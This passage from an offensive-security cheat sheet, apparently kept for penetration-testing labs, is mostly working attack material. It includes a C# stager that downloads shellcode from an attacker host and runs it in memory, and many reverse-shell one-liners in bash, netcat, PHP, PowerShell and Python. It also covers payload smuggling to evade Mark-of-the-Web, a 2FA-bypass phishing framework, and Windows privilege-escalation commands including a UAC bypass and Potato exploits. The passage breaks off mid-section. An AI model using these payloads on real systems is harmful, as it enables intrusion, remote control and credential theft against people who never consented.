<syntaxhighlight lang="bash">
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
# Example - This will upload a shell to temp, and run execute it using cmd.exe
certutil -urlcache -split -f "http://192.168.49.233/shell.exe" C:\windows\temp\shell.exe && cmd.exe /c C:\windows\temp\shell.exe
</syntaxhighlight>

=== CMD ===

<syntaxhighlight lang="bash">
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe
</syntaxhighlight>

=== tfpt ===

<syntaxhighlight lang="bash">
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
# On target
tftp -i 10.11.0.4 put important.docx
</syntaxhighlight>

=== Encrypted python3 http.server ===

<syntaxhighlight lang="bash">
# Create self signed cert
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
</syntaxhighlight>

<syntaxhighlight lang="bash">
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
</syntaxhighlight>

=== Evil-winrm ===

<syntaxhighlight lang="bash">
# Upload file
upload shell.exe
# Download file
Download target.file
</syntaxhighlight>

=== Netcat ===

Must have nc.exe binary on the target machine.

<syntaxhighlight lang="bash">
# Attacking machine command
nc -lvnp 4444 > FiletoDownload
## Victim machine command
nc.exe 10.10.10.100 4444 -w 3 < Filetodownload
</syntaxhighlight>

=== Rejetto HFS - HTTP File Server (GUI based) ===

Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.

If you have RDP this tool works great.

[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]

[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]

=== Tiny Http Server - Rebex ===
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.

https://www.rebex.net/tiny-web-server/

==== Transfer from attacker to target ====

[[File:2023-01-image-2.png|thumb]]

Drag and drop files you want to transfer. Change port by clicking on 'Port:' or change IP by going to Menu and 'IP Adress'.

On target either open browser or wget, curl, etc

<syntaxhighlight lang="bash">
wget http://192.168.1.98:443/nmap.txt
</syntaxhighlight>

==== Transfer from target to attacker ====

[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]

<syntaxhighlight lang="bash">
# Step-by-step
## First, define a real folder. To do this:
# Add a folder.
## Choose real folder.
## You should now see a RED folder in your virtual file system, inside HFS.
## Right click on this folder.
## Set Upload → upload for accounts → anyone
## Now anyone who has access to your HFS server can upload files to you.
</syntaxhighlight>

[[File:2023-01-image-3.png|thumb]]

Anyone can upload

[[File:2023-01-image-4.png|thumb]]

[[File:2023-01-image-5.png|thumb]]

Click on on the folder 'Upload HFS'

[[File:2023-01-image-6.png|thumb]]

Now anyone can upload files

=== SCP ===

<syntaxhighlight lang="bash">
# From target to attacher
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .
# From attacker to target
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/
</syntaxhighlight>

=== SMBServer ===

Create a smbserver with share name "share", and location of folder to share

<syntaxhighlight lang="bash">
smbserver.py share /home/aghanim/Desktop/
## If target only supports smbserver2
smbserver.py share . -smb2support
## On target CMD
\\smbserver-ip\share\$FILE_NAME
## Copy file to target
copy \\smbserver-ip\share\$FILE_NAME .
## Copy file from target to attacker
copy FileToDownload \\smbserver-ip\share\FileToDownload
## SMBserver with username and password
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123
</syntaxhighlight>

=== Powershell ===

Must use single quote for URL. Worsk for Windows 7 & 2008 and above.

<syntaxhighlight lang="powershell">
powershell -c (New-Object Net.WebClient).DownloadFile('http://ip-addr:port/file', 'output-file')
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
# Attacker
sudo nc -lnvp 443 > receiving_powercat.ps1
# Target
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1
</syntaxhighlight>

==== Python ====

<syntaxhighlight lang="bash">
# Attacker
python3 -m http.server 8080
python2 -m SimpleHTTPServer 8080
# Target
wget http://ip:port/file
curl http://ip:port/file
</syntaxhighlight>

=== Windows upload using php and powershell ===

<syntaxhighlight lang="bash">
# On attacker, create a php upload script and host it on apache2 server

# On target, upload files using this command.
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
</syntaxhighlight>

----

== Shellcode and Staged payloads ==

=== csharp stager ===

<syntaxhighlight lang="csharp">
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
</syntaxhighlight>

=== Msfvenom Staged payload ===

<syntaxhighlight lang="bash">
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
# -b '\x00\x0a\x0d': Sets a list of characters to avoid in the generated shellcode. The characters '\x00\x0a\x0d' correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.
</syntaxhighlight>

----

== Bind shells ==

https://blog.aghanim.net/?p=1043

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -l -p 443 -e cmd.exe
</syntaxhighlight>

----

== Reverse shells ==

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]

=== Reverse Shell Generator ===

[https://www.revshells.com/ https://www.revshells.com/]

=== hoaxshell ===

Currently undetected by Microsoft and most AV (12.10.2022)

<syntaxhighlight lang="bash">
# https://github.com/t3l3machus/hoaxshell
──(root💀kali)-[/opt/hoaxshell]
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444 1 ⨯
┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬ ┬
├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤ │ │
┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘
by t3l3machus
[Info] Generating reverse shell payload...
powershell -e JABzAD0AJwAxADkAMgAuADEANg....
[Info] Type "help" to get a list of the available prompt commands.
[Info] Http Server started on port 4444.
[Important] Awaiting payload execution to initiate shell session...
[Shell] Payload execution verified!
[Shell] Stabilizing command prompt...
PS C:\Users\AlaaG > whoami
laptop-\alaag
PS C:\Users\AlaaG > systeminfo
Host Name: LAPTOP-
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
</syntaxhighlight>

=== ICMP Reverse Shell ===

<syntaxhighlight lang="bash">
# https://github.com/krabelize/icmpdoor
# https://cryptsus.com/blog/icmp-reverse-shell.html
## Python version usage (both Windows and Linux):
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)
## Binary Windows version usage version:
./icmp-cnc.exe -d VICTIM-IP (Command and Control)
./icmpdoor.exe -d CNC-IP (Implant)
## Binary Linux version usage version:
./icmp-cnc -d VICTIM-IP (Command and Control)
./icmpdoor -d CNC-IP (Implant)
</syntaxhighlight>

=== BASH TCP ===

<syntaxhighlight lang="bash">
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0/dev/tcp/10.0.0.1/4242; sh &196 2>&196
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0&1
## Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
</syntaxhighlight>

=== BASH UDP ===

<syntaxhighlight lang="bash">
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
nc -u -lvp 4242
</syntaxhighlight>

=== ngrok - Catcha reverse shell from the internet ===

[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]

<syntaxhighlight lang="bash">
# On attacker (term1)
ngrok tcp 4444
# On attacker (term2)
nc -lvp 4444
# On target, use your reverse shell payload on the ngrok tunnel target
nc 0.tcp.ngrok.io -e /bin/sh
-----
# Another method if there is a proxy and firewall.
# Setup free domain. (Custom domain is a paid feature)
https://dashboard.ngrok.com/cloud-edge/domains
ngrok http --domain=ngrok-provided-domain.ngrok-free.app
# On attacker
nc -lvnp
</syntaxhighlight>

=== Netcat Traditional ===

<syntaxhighlight lang="bash">
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
</syntaxhighlight>

=== Netcat BusyBox ===

<syntaxhighlight lang="bash">
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
</syntaxhighlight>

=== nc.exe ===

<syntaxhighlight lang="bash">
nc.exe -e cmd.exe attacker_ip attacker_port
</syntaxhighlight>

=== PHP ===

<syntaxhighlight lang="php">
php -r '$sock=fsockopen("10.10.14.17",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Base64 encoded webshell
""
"& /dev/tcp/192.168.49.129/80 0>&1'); ?>"
</syntaxhighlight>

=== Powershells ===

<syntaxhighlight lang="powershell">
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
</syntaxhighlight>

=== Powershell base64 encoded reverse shell payload ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="python">
import os,pty,socket;s=socket.socket();s.connect(("192.168.49.169",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
</syntaxhighlight>

=== Stabilize shell (Interactive shell) ===

==== Linux ====

<syntaxhighlight lang="bash">
python -c 'import pty;pty.spawn(“/bin/bash”)'
export TERM=xterm
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.
https://blog.aghanim.net/?p=1043
</syntaxhighlight>

==== Windows ====

<syntaxhighlight lang="bash">
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1
# 1. Edit Nishang script and add
Invoke-PowerShellTcp -Reverse -IpAddress -Port
# 2. Start a new netcat listener
# 3. Start simple http.severe where the nishang script is
# 4. On target. (Make sure powershell is enabled and allowed to use)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1')
</syntaxhighlight>

=== Fix TTY in reverse shell ===

<syntaxhighlight lang="bash">
# In our shell. Remember the rows anc cols
stty -a
# On victim shell
stty rows cols
</syntaxhighlight>

----

== PackMyPayload ==

[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]

Smuggle payloads using various file formats:

* <code>7zip</code>

* <code>zip</code>

* <code>ISO</code>

* <code>IMG</code>

<syntaxhighlight lang="bash">
# Pack a dir to .iso
PackMyPayload.py C:\my\dir malicious.iso -v
# Pack a malicious code to .vhd
PackMyPayload.py .\evil.lnk .\evil.vhd
</syntaxhighlight>

== Persistence ==

=== Windows ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]

=== Linux ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]

----

== Phishing ==

=== Bypass 2-Fa ===

[https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]

[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]

----

== Programming ==

=== Control flow - Logic Statement ===

{| class="wikitable"
|-
| Logic Statement
| Purpose
|-
| if/else
| Executes only if a condition is met, else it will execute a different code block
|-
| try/catch
| Will try to execute a code block and catch it if it fails to handle errors.
|-
| switch case
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default
|-
| for/while loop
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.
|}

----

== Privilege Escalation ==

=== Windows ===

==== Admin Account Credentials ====

[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]

<syntaxhighlight lang="bash">
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas
runas /profile /user:Administrator "nc.exe -e cmd 192.168.49.169 443"
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method is if the shell is non-interactive is to use a powershell script.
# Save this on your Kali and start a HTTP.server.
$password = ConvertTo-SecureString "lab" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("Administrator", $password)
Start-Process -Credential $credential -FilePath "C:\Users\Offsec\Desktop\ProcessHollow.exe"
# Now on the shell you have, run this command.
iex(new-object net.webclient).downloadstring('http://192.168.45.198/test.ps1')
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method again is to RDP to the target if possible and Run As.
</syntaxhighlight>

==== AlwaysInstallElevated ====

If these two registers are enabled then users of any privilege can install '''.msi '''files as NT AUTHORITY\SYSTEM

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
# If 0x1 then its enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Msfvenom payload
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
# The above is better for persistence
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi > rev_shell.msi # Recommeded if not AD.
# Execute
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

----------------
# The above command will probably be detected by AV. You can compile your own .msi.
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated
PS C:\WiX Toolset v3.11\bin> .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)
-------------------------------------------
# You can also use MSI Wrapper.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper
------------------------------------------
# There is also a metasploit module, but it needs a bit tweaking
exploit/windows/local/always_install_elevated
# In the multi handler do the following
set DisablePayloadHandler true - # Disable built-in listener
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload
run -j -z - # Background listener
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
msf6 exploit(windows/local/always_install_elevated) > set VERBOSE true
msf6 exploit(windows/local/always_install_elevated) > set payload windows/exec
msf6 exploit(windows/local/always_install_elevated) > set session 1
# The encoded powershell command do 'whoami > C:\whoami.txt' to verify that it works
msf6 exploit(windows/local/always_install_elevated) > set cmd 'powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA='
msf6 exploit(windows/local/always_install_elevated) > run
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run
msf6 exploit(windows/local/always_install_elevated) > set cmd 'C:\proc_hol.exe'
msf6 exploit(windows/local/always_install_elevated) > run
# You should get a callback to your meterpreter listener.
</syntaxhighlight>

[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]

==== BarracudaDrive 6.5 ====

<syntaxhighlight lang="bash">
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html
</syntaxhighlight>

==== Bypass UAC ====

[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]

<syntaxhighlight lang="bash">
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy Level shell, we might bypass uac.
# Notice the last line, "Mandatory Label\Medium Mandatory Level"
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

# Next check if UAC is enabled
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
# We then have to find a binary that have "autoElevate" set to true.
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate
true
# Then we have to generate a payload using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe > shell.exe
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c
# Compile the above code
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe
# Transfer the binary to target and execute
.\eventvwr-bypassuac-64.exe
# Check your listener and then run "whoami /groups" again and check last line.
Mandatory Label\High Mandatory Level Label S-1-16-12288
# This means you can run elevated commands. Dumping hashes etc.
</syntaxhighlight>

==== CVE ====

===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====

<syntaxhighlight lang="bash">
# https://github.com/apt69/COMahawk
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka 'Windows UPnP Service Elevation of Privilege Vulnerability'.
# Method 1
.\COMahawk64.exe
[\] Progress: 1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.
# Method 2
.\COMahawk64.exe "C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443"
</syntaxhighlight>

==== HiveNightmare ====

<syntaxhighlight lang="bash">
# https://github.com/GossiTheDog/HiveNightmare
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).

</syntaxhighlight>

==== LAPS ====

<syntaxhighlight lang="bash">
# If we have valid creds for LDAP we can query LDAP for the local admin password.
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -h 192.168.120.108 "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory.
</syntaxhighlight>

==== Potatos (SeimpersonatePrivilege) ====

[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]

* If the machine is >= Windows 10 1809 & Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]

* If the machine is < Windows 10 1809 < Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]

===== Finding CLSID =====

[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]

<syntaxhighlight lang="powershell">
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
}
</syntaxhighlight>

===== Hot Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/foxglovesec/Potato
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
</syntaxhighlight>

===== Rotten Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/breenmachine/RottenPotatoNG
After having a meterpreter shell with incognito mode loaded:
MSFRottenPotato.exe t c:\windows\temp\test.bat
</syntaxhighlight>

===== Lonely Potato =====

<syntaxhighlight lang="bash">
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.
https://github.com/decoder-it/lonelypotato
</syntaxhighlight>

===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====

<syntaxhighlight lang="bash">
# Download repository
https://github.com/ohpe/juicy-potato
https://github.com/antonioCoco/JuicyPotatoNG
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe
</syntaxhighlight>

===== Rogue Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/antonioCoco/RoguePotato
# Run in your machine the socat redirection (replace VICTIM_IP):
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# Execute PoC (replace YOUR_IP and command):
.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999
</syntaxhighlight>

===== GodPotato =====

[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]

Enables privilege escalation in Windows 2012 - Windows 2022

<syntaxhighlight lang="bash">
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
</syntaxhighlight>

===== SharpEfsPotato =====

[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]

<syntaxhighlight lang="bash">
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
</syntaxhighlight>

===== PrintSpoofer =====

[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]

<syntaxhighlight lang="bash">
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:
PrintSpoofer.exe -i -c cmd
</syntaxhighlight>

==== Se-privileges ====

===== Great list and explanation =====

[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]

<syntaxhighlight lang="bash">
# This ppt will explain how to exploit different SePrivileges
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
</syntaxhighlight>

===== SeManageVolume =====

<syntaxhighlight lang="bash">
https://github.com/xct/SeManageVolumeAbuse
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume
</syntaxhighlight>

===== SeLoadDriverPrivilege =====

<syntaxhighlight lang="bash">
# See writeup for PG Fuse
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System
</syntaxhighlight>

===== SeRestorePrivilege =====

<syntaxhighlight lang="bash">
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.
# See PG Heist writeup
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.
# Example of ways to escalate privilege
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Now RDP to target without logging in. Then press win+u
rdesktop 192.168.153.165
</syntaxhighlight>

[[File:2022-11-image-2.png|thumb]]

===== SeBackupPrivilege =====

<syntaxhighlight lang="bash">
# SeBackUpPrivilege basically allows for full system read.
# See if user is member of 'Backup Operator'.
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
# https://github.com/giuliano108/SeBackupPrivilege
# Example 1
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
